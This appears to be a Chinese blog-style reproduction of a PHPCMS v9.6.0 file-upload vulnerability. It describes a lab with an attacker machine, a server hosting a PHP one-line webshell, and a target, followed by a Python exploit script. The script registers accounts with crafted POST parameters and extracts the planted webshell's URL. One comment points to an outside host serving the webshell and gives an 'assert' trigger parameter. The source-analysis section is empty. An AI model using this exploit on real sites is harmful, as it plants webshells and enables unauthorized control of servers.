PHPCMS v9.6.0 文件上传漏洞复现

0x01 漏洞环境

攻击机:Windows10:192.168.10.21。
服务机:Kali Linux 2017.01 amd 64:192.168.10.68(提供 web shell 文件下载)。
靶机:Redhat Enterprise 7.3 x64:192.168.10.44(靶机运行 PHPCMS 9.6.0 Web 服务)。

0x02 利用过程

Kali Linux Python 命令python -mSimpleHTTPServer 80 开启简易 Web 服务器,提供 shell(PHP 一句话木马)资源下载。

Kali 搭建 Shell 资源下载服务器.png

打开 PHPCMS v9.6 注册页面:http://192.168.10.44/index.php?m=member&c=index&a=register&siteid=1,进行注册操作并利用 Burp Suite 进行截取数据包。修改其中的参数:modelidinfodosubmit。详细修改参数如下:modelid=11 info[content]= dosubmit=1

提交 POST 数据包获取 Shell

提交数据包后将获得 Web Shell 的 URL 路径:获得shell:http://192.168.10.44/uploadfile/2017/0511/20170511074521592.php

0x03 Exp

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
import sys
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = { # 构建POST数据包
        "siteid": "1",
        "modelid": "1",
        "username": "xianjian",
        "password": "123456",
        "email": "[email protected]",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
        "info[content]": "",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        rand_name = chars[Random().randint(0, len(chars) - 1)]
        data["username"] = "xianjian_%s" % rand_name
        data["email"] = "xianjian_%[email protected]" % rand_name
        
        htmlContent = requests.post(url, data=data)

        successUrl = ""
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        if successUrl == "":
            print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:
        print("Request Error")

if __name__ == '__main__':
    main()

0x04 源码分析

你可能感兴趣的:(PHPCMS v9.6.0 文件上传漏洞复现)